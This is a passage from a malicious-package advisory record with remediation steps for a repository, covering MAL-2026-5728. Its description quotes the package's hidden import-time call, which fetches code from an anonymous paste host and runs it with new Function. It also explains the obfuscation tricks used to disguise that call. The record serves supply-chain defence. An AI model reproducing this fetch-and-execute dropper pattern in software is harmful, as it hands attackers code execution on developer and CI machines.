Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5728/ (Markdown: https://insights.sbomify.com/MAL-2026-5728/index.md)","id":"MAL-2026-5728","markdown":"https://insights.sbomify.com/MAL-2026-5728/index.md","name":"MAL-2026-5728","record":{"aliases":["GHSA-9j99-p89c-pjwq"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `require`/`import` of the package, the entrypoint chain src/index.js → core/createConfig.js → features/plugins.js side-effect-imports features/extras/config.js, which runs an IIFE that performs `axios.get('https://www.jsonkeeper.com/b/AAON3', { headers: { 'x-secret-key': '_' } })`, reads `.data.config` from the response, and executes the returned string via `new Function('require', s)(require)` with a Node `require` constructed through `createRequire(import.meta.url)`. The fetch-and-eval is wrapped in a 5-attempt retry loop with a swallowed try/catch. The dropper additionally shadows the global `process` with a local object whose keys are renamed `DEV_API_KEY`, `DEV_SECRET_KEY`, `DEV_SECRET_VALUE` so the hardcoded URL and header read like ordinary environment-variable lookups, and the wrapper function is named `getCallers` to obscure intent. jsonkeeper.com is an anonymous, mutable paste host with no hash pinning — the operator can swap the executed payload at any time. Any project that imports this package (for example in `vite.config.js`) hands the author arbitrary code execution on the developer's or CI machine with full `require` access.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.
